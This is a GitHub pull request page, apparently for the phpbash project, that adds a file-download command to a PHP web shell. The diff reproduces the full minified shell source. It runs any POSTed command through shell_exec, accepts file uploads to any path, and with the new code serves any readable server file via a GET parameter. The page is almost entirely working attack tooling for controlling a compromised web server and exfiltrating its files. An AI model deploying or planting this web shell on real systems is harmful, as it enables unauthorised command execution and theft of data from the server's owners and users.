Skip to content

Adding Download feature #24

New issue

Have a question about this project? Sign up for a free GitHub account to open an issue and contact its maintainers and the community.

Sign up for GitHub

By clicking “Sign up for GitHub”, you agree to our terms of service and privacy statement. We’ll occasionally send you account related emails.

Already on GitHub? Sign in to your account

Open
b4ndit23 wants to merge 3 commits into
base: master
Choose a base branch
from
Open

Adding Download feature #24

Show file tree
Hide file tree
Changes from all commits
Commits
Show all changes
3 commits
Select commit Hold shift + click to select a range
2ba990a
Update phpbash.php
b4ndit23 Feb 2, 2026
61afb5d
Update phpbash.php
b4ndit23 Feb 4, 2026
38beac9
Update phpbash.min.php
b4ndit23 Feb 4, 2026
File filter

Filter by extension

Filter by extension
Conversations
Failed to load comments.
Loading
Jump to
Jump to file
Failed to load files.
Loading
Diff view
Diff view
2 changes: 1 addition & 1 deletion phpbash.min.php
View file
Open in desktop
Original file line number Diff line number Diff line change
@@ -1 +1 @@
<?php /* phpbash by Alexander Reid (Arrexel) */ if (ISSET($_POST['cmd'])){$output=preg_split('/[\n]/', shell_exec($_POST['cmd']." 2>&1")); foreach ($output as $line){echo htmlentities($line, ENT_QUOTES | ENT_HTML5, 'UTF-8') . "<br>";}die();}else if (!empty($_FILES['file']['tmp_name']) && !empty($_POST['path'])){$filename=$_FILES["file"]["name"]; $path=$_POST['path']; if ($path !="/"){$path .="/";}if (move_uploaded_file($_FILES["file"]["tmp_name"], $path.$filename)){echo htmlentities($filename) . " successfully uploaded to " . htmlentities($path);}else{echo "Error uploading " . htmlentities($filename);}die();}?><html> <head> <title></title> <style>html, body{max-width: 100%;}body{width: 100%; height: 100%; margin: 0; background: #000;}body, .inputtext{font-family: "Lucida Console", "Lucida Sans Typewriter", monaco, "Bitstream Vera Sans Mono", monospace; font-size: 14px; font-style: normal; font-variant: normal; font-weight: 400; line-height: 20px; overflow: hidden;}.console{width: 100%; height: 100%; margin: auto; position: absolute; color: #fff;}.output{width: auto; height: auto; position: absolute; overflow-y: scroll; top: 0; bottom: 30px; left: 5px; right: 0; line-height: 20px;}.input form{position: relative; margin-bottom: 0px;}.username{height: 30px; width: auto; padding-left: 5px; line-height: 30px; float: left;}.input{border-top: 1px solid #333333; width: 100%; height: 30px; position: absolute; bottom: 0;}.inputtext{width: auto; height: 30px; bottom: 0px; margin-bottom: 0px; background: #000; border: 0; float: left; padding-left: 8px; color: #fff;}.inputtext:focus{outline: none;}::-webkit-scrollbar{width: 12px;}::-webkit-scrollbar-track{background: #101010;}::-webkit-scrollbar-thumb{background: #303030;}</style> </head> <body> <div class="console"> <div class="output" id="output"></div><div class="input" id="input"> <form id="form" method="GET" onSubmit="sendCommand()"> <div class="username" id="username"></div><input class="inputtext" id="inputtext" type="text" name="cmd" autocomplete="off" autofocus> </form> </div></div><form id="upload" method="POST" style="display: none;"> <input type="file" name="file" id="filebrowser" onchange='uploadFile()'/> </form> <script type="text/javascript">var username=""; var hostname=""; var currentDir=""; var previousDir=""; var defaultDir=""; var commandHistory=[]; var currentCommand=0; var inputTextElement=document.getElementById('inputtext'); var inputElement=document.getElementById("input"); var outputElement=document.getElementById("output"); var usernameElement=document.getElementById("username"); var uploadFormElement=document.getElementById("upload"); var fileBrowserElement=document.getElementById("filebrowser"); getShellInfo(); function getShellInfo(){var request=new XMLHttpRequest(); request.onreadystatechange=function(){if (request.readyState==XMLHttpRequest.DONE){var parsedResponse=request.responseText.split("<br>"); username=parsedResponse[0]; hostname=parsedResponse[1]; currentDir=parsedResponse[2].replace(new RegExp("&sol;", "g"), "/"); defaultDir=currentDir; usernameElement.innerHTML="<div style='color: #ff0000; display: inline;'>"+username+"@"+hostname+"</div>:"+currentDir+"#"; updateInputWidth();}}; request.open("POST", "", true); request.setRequestHeader("Content-type", "application/x-www-form-urlencoded"); request.send("cmd=whoami; hostname; pwd");}function sendCommand(){var request=new XMLHttpRequest(); var command=inputTextElement.value; var originalCommand=command; var originalDir=currentDir; var cd=false; commandHistory.push(originalCommand); switchCommand(commandHistory.length); inputTextElement.value=""; var parsedCommand=command.split(" "); if (parsedCommand[0]=="cd"){cd=true; if (parsedCommand.length==1){command="cd "+defaultDir+"; pwd";}else if (parsedCommand[1]=="-"){command="cd "+previousDir+"; pwd";}else{command="cd "+currentDir+"; "+command+"; pwd";}}else if (parsedCommand[0]=="clear"){outputElement.innerHTML=""; return false;}else if (parsedCommand[0]=="upload"){fileBrowserElement.click(); return false;}else{command="cd "+currentDir+"; " + command;}request.onreadystatechange=function(){if (request.readyState==XMLHttpRequest.DONE){if (cd){var parsedResponse=request.responseText.split("<br>"); previousDir=currentDir; currentDir=parsedResponse[0].replace(new RegExp("&sol;", "g"), "/"); outputElement.innerHTML +="<div style='color:#ff0000; float: left;'>"+username+"@"+hostname+"</div><div style='float: left;'>"+":"+originalDir+"# "+originalCommand+"</div><br>"; usernameElement.innerHTML="<div style='color: #ff0000; display: inline;'>"+username+"@"+hostname+"</div>:"+currentDir+"#";}else{outputElement.innerHTML +="<div style='color:#ff0000; float: left;'>"+username+"@"+hostname+"</div><div style='float: left;'>"+":"+currentDir+"# "+originalCommand+"</div><br>" + request.responseText.replace(new RegExp("<br><br>$"), "<br>"); outputElement.scrollTop=outputElement.scrollHeight;}updateInputWidth();}}; request.open("POST", "", true); request.setRequestHeader("Content-type", "application/x-www-form-urlencoded"); request.send("cmd="+encodeURIComponent(command)); return false;}function uploadFile(){var formData=new FormData(); formData.append('file', fileBrowserElement.files[0], fileBrowserElement.files[0].name); formData.append('path', currentDir); var request=new XMLHttpRequest(); request.onreadystatechange=function(){if (request.readyState==XMLHttpRequest.DONE){outputElement.innerHTML +=request.responseText+"<br>";}}; request.open("POST", "", true); request.send(formData); outputElement.innerHTML +="<div style='color:#ff0000; float: left;'>"+username+"@"+hostname+"</div><div style='float: left;'>"+":"+currentDir+"# Uploading "+fileBrowserElement.files[0].name+"...</div><br>";}function updateInputWidth(){inputTextElement.style.width=inputElement.clientWidth - usernameElement.clientWidth - 15;}document.onkeydown=checkForArrowKeys; function checkForArrowKeys(e){e=e || window.event; if (e.keyCode=='38'){previousCommand();}else if (e.keyCode=='40'){nextCommand();}}function previousCommand(){if (currentCommand !=0){switchCommand(currentCommand-1);}}function nextCommand(){if (currentCommand !=commandHistory.length){switchCommand(currentCommand+1);}}function switchCommand(newCommand){currentCommand=newCommand; if (currentCommand==commandHistory.length){inputTextElement.value="";}else{inputTextElement.value=commandHistory[currentCommand]; setTimeout(function(){inputTextElement.selectionStart=inputTextElement.selectionEnd=10000;}, 0);}}document.getElementById("form").addEventListener("submit", function(event){event.preventDefault()}); </script> </body></html>
<?php ob_start(); if (ISSET($_GET['download']) && ISSET($_GET['path'])){while (ob_get_level()){ob_end_clean();} $filepath=$_GET['path']; $filename=basename($filepath); if (file_exists($filepath) && is_readable($filepath)){header('Content-Description: File Transfer'); header('Content-Type: application/octet-stream'); header('Content-Disposition: attachment; filename="' . $filename . '"'); header('Content-Length: ' . filesize($filepath)); header('Cache-Control: must-revalidate'); header('Pragma: public'); readfile($filepath); exit;}else{header("HTTP/1.0 404 Not Found"); echo "File not found or not readable"; exit;}} if (ISSET($_POST['cmd'])){$output=preg_split('/[\n]/', shell_exec($_POST['cmd']." 2>&1")); foreach ($output as $line){echo htmlentities($line, ENT_QUOTES | ENT_HTML5, 'UTF-8') . "<br>";}die();}else if (!empty($_FILES['file']['tmp_name']) && !empty($_POST['path'])){$filename=$_FILES["file"]["name"]; $path=$_POST['path']; if ($path !="/"){$path .="/";}if (move_uploaded_file($_FILES["file"]["tmp_name"], $path.$filename)){echo htmlentities($filename) . " successfully uploaded to " . htmlentities($path);}else{echo "Error uploading " . htmlentities($filename);}die();}?><html><head><title>phpbash</title><style>html, body{max-width: 100%;}body{width: 100%; height: 100%; margin: 0; background: #000;}body, .inputtext{font-family: "Lucida Console", "Lucida Sans Typewriter", monaco, "Bitstream Vera Sans Mono", monospace; font-size: 14px; font-style: normal; font-variant: normal; font-weight: 400; line-height: 20px; overflow: hidden;}.console{width: 100%; height: 100%; margin: auto; position: absolute; color: #fff;}.output{width: auto; height: auto; position: absolute; overflow-y: scroll; top: 0; bottom: 30px; left: 5px; right: 0; line-height: 20px;}.input form{position: relative; margin-bottom: 0px;}.username{height: 30px; width: auto; padding-left: 5px; line-height: 30px; float: left;}.input{border-top: 1px solid #333333; width: 100%; height: 30px; position: absolute; bottom: 0;}.inputtext{width: auto; height: 30px; bottom: 0px; margin-bottom: 0px; background: #000; border: 0; float: left; padding-left: 8px; color: #fff;}.inputtext:focus{outline: none;}::-webkit-scrollbar{width: 12px;}::-webkit-scrollbar-track{background: #101010;}::-webkit-scrollbar-thumb{background: #303030;}</style></head><body><div class="console"><div class="output" id="output"></div><div class="input" id="input"><form id="form" method="GET" onSubmit="sendCommand()"><div class="username" id="username"></div><input class="inputtext" id="inputtext" type="text" name="cmd" autocomplete="off" autofocus></form></div></div><form id="upload" method="POST" style="display: none;"><input type="file" name="file" id="filebrowser" onchange='uploadFile()'/></form><script type="text/javascript">var username=""; var hostname=""; var currentDir=""; var previousDir=""; var defaultDir=""; var commandHistory=[]; var currentCommand=0; var inputTextElement=document.getElementById('inputtext'); var inputElement=document.getElementById("input"); var outputElement=document.getElementById("output"); var usernameElement=document.getElementById("username"); var uploadFormElement=document.getElementById("upload"); var fileBrowserElement=document.getElementById("filebrowser"); getShellInfo(); function getShellInfo(){var request=new XMLHttpRequest(); request.onreadystatechange=function(){if (request.readyState==XMLHttpRequest.DONE){var parsedResponse=request.responseText.split("<br>"); username=parsedResponse[0]; hostname=parsedResponse[1]; currentDir=parsedResponse[2].replace(new RegExp("&sol;", "g"), "/"); defaultDir=currentDir; usernameElement.innerHTML="<div style='color: #ff0000; display: inline;'>"+username+"@"+hostname+"</div>:"+currentDir+"#"; updateInputWidth();}}; request.open("POST", "", true); request.setRequestHeader("Content-type", "application/x-www-form-urlencoded"); request.send("cmd=whoami; hostname; pwd");}function sendCommand(){var request=new XMLHttpRequest(); var command=inputTextElement.value; var originalCommand=command; var originalDir=currentDir; var cd=false; commandHistory.push(originalCommand); switchCommand(commandHistory.length); inputTextElement.value=""; var parsedCommand=command.split(" "); if (parsedCommand[0]=="cd"){cd=true; if (parsedCommand.length==1){command="cd "+defaultDir+"; pwd";}else if (parsedCommand[1]=="-"){command="cd "+previousDir+"; pwd";}else{command="cd "+currentDir+"; "+command+"; pwd";}}else if (parsedCommand[0]=="clear"){outputElement.innerHTML=""; return false;}else if (parsedCommand[0]=="upload"){fileBrowserElement.click(); return false;}else if (parsedCommand[0]=="download"){if (parsedCommand.length < 2){outputElement.innerHTML +="<div style='color:#ff0000; float: left;'>"+username+"@"+hostname+"</div><div style='float: left;'>"+":"+currentDir+"# "+originalCommand+"</div><br>Usage: download &lt;filename&gt;<br>"; return false;}downloadFile(parsedCommand.slice(1).join(" "), originalCommand, originalDir); return false;}else{command="cd "+currentDir+"; " + command;}request.onreadystatechange=function(){if (request.readyState==XMLHttpRequest.DONE){if (cd){var parsedResponse=request.responseText.split("<br>"); previousDir=currentDir; currentDir=parsedResponse[0].replace(new RegExp("&sol;", "g"), "/"); outputElement.innerHTML +="<div style='color:#ff0000; float: left;'>"+username+"@"+hostname+"</div><div style='float: left;'>"+":"+originalDir+"# "+originalCommand+"</div><br>"; usernameElement.innerHTML="<div style='color: #ff0000; display: inline;'>"+username+"@"+hostname+"</div>:"+currentDir+"#";}else{outputElement.innerHTML +="<div style='color:#ff0000; float: left;'>"+username+"@"+hostname+"</div><div style='float: left;'>"+":"+currentDir+"# "+originalCommand+"</div><br>" + request.responseText.replace(new RegExp("<br><br>$"), "<br>"); outputElement.scrollTop=outputElement.scrollHeight;}updateInputWidth();}}; request.open("POST", "", true); request.setRequestHeader("Content-type", "application/x-www-form-urlencoded"); request.send("cmd="+encodeURIComponent(command)); return false;}function downloadFile(filename, originalCommand, originalDir){var filepath; if (filename.startsWith('/')){filepath=filename;}else{filepath=currentDir; if (currentDir !="/"){filepath +="/";}filepath +=filename;}var checkRequest=new XMLHttpRequest(); checkRequest.onreadystatechange=function(){if (checkRequest.readyState==XMLHttpRequest.DONE){var response=checkRequest.responseText.trim(); response=response.replace(/<br>/g, ''); if (response==="OK"){outputElement.innerHTML +="<div style='color:#ff0000; float: left;'>"+username+"@"+hostname+"</div><div style='float: left;'>"+":"+originalDir+"# "+originalCommand+"</div><br>Downloading "+htmlentities(filename)+"...<br>"; window.location.href=window.location.pathname + "?download=1&path=" + encodeURIComponent(filepath); setTimeout(function(){outputElement.innerHTML +="Download started for "+htmlentities(filename)+"<br>"; outputElement.scrollTop=outputElement.scrollHeight;}, 100);}else{outputElement.innerHTML +="<div style='color:#ff0000; float: left;'>"+username+"@"+hostname+"</div><div style='float: left;'>"+":"+originalDir+"# "+originalCommand+"</div><br>Error: File not found or not readable: "+htmlentities(filename)+"<br>"; outputElement.scrollTop=outputElement.scrollHeight;}}}; var checkCommand="[ -f '"+filepath.replace(/'/g, "'\\''")+"' ] && [ -r '"+filepath.replace(/'/g, "'\\''")+"' ] && echo 'OK' || echo 'FAIL'"; checkRequest.open("POST", "", true); checkRequest.setRequestHeader("Content-type", "application/x-www-form-urlencoded"); checkRequest.send("cmd="+encodeURIComponent(checkCommand));}function uploadFile(){var formData=new FormData(); formData.append('file', fileBrowserElement.files[0], fileBrowserElement.files[0].name); formData.append('path', currentDir); var request=new XMLHttpRequest(); request.onreadystatechange=function(){if (request.readyState==XMLHttpRequest.DONE){outputElement.innerHTML +=request.responseText+"<br>";}}; request.open("POST", "", true); request.send(formData); outputElement.innerHTML +="<div style='color:#ff0000; float: left;'>"+username+"@"+hostname+"</div><div style='float: left;'>"+":"+currentDir+"# Uploading "+fileBrowserElement.files[0].name+"...</div><br>";}function updateInputWidth(){inputTextElement.style.width=inputElement.clientWidth - usernameElement.clientWidth - 15;}function htmlentities(str){return String(str).replace(/&/g, '&amp;').replace(/</g, '&lt;').replace(/>/g, '&gt;').replace(/"/g, '&quot;');}document.onkeydown=checkForArrowKeys; function checkForArrowKeys(e){e=e || window.event; if (e.keyCode=='38'){previousCommand();}else if (e.keyCode=='40'){nextCommand();}}function previousCommand(){if (currentCommand !=0){switchCommand(currentCommand-1);}}function nextCommand(){if (currentCommand !=commandHistory.length){switchCommand(currentCommand+1);}}function switchCommand(newCommand){currentCommand=newCommand; if (currentCommand==commandHistory.length){inputTextElement.value="";}else{inputTextElement.value=commandHistory[currentCommand]; setTimeout(function(){inputTextElement.selectionStart=inputTextElement.selectionEnd=10000;}, 0);}}document.getElementById("form").addEventListener("submit", function(event){event.preventDefault()});</script></body></html>
Loading